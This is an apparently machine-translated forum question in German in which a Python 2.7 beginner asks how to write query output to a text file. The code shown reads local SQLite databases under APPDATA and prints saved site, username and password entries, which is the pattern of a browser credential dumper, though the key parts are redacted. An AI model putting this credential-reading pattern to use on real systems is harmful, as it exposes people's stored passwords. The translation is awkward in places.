Ich bin neu bei Python und ich versuche herauszufinden, wie man die Ergebnisse in eine Textdatei schreibt. Hier ist mein Code:Python 2.7.11 Ausgabe in eine Textdatei schreiben
from os import getenv
import sqlite3
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized")
conn3 = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized")
conn1 = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized")
cursor3 = conn3.cursor()
cursor1 = conn1.cursor()
cursor = conn.cursor()
cursor.execute('SELECT ...sanitized')
for result in cursor.fetchall():
...sanitized
if password:
print "Site: " + result[0]
print 'Username: ' + result[1]
print 'Password: ' + password
print '---------------------------------------------'
cursor3.execute("...sanitized")
print("fetchall:")
result = cursor3.fetchall()
for r in result:
print(r)
cursor1.execute("...sanitized")
print("fetchall:")
result = cursor1.fetchall()
for r in result:
print(r)
ich versucht habe, f = open ('output.txt') am Anfang des Codes und platziert
f.write(r) # and I tried
f.write(result) # after defining it near bottom as these are my variables
f.close()# :(
Die Traceback sagt, es wurde erwartet ein Schnur?
Kann mir jemand erklären, was in den Druck gehen soll (hier)? Ich versuche, die Konzepte zu verstehen, aber es nicht ganz noch erhalten
Dank
Sie verpassen eine enge Zitat in der ersten 'connect' Linie – khelwood
Danke, aber ja, ich weiß :) ich den Code – SafetyNetter
zu sanieren versuchte Wenn Sie mit Unix, Rohr nur die Ausgabe in eine Datei : 'python myscript.py> output.txt' –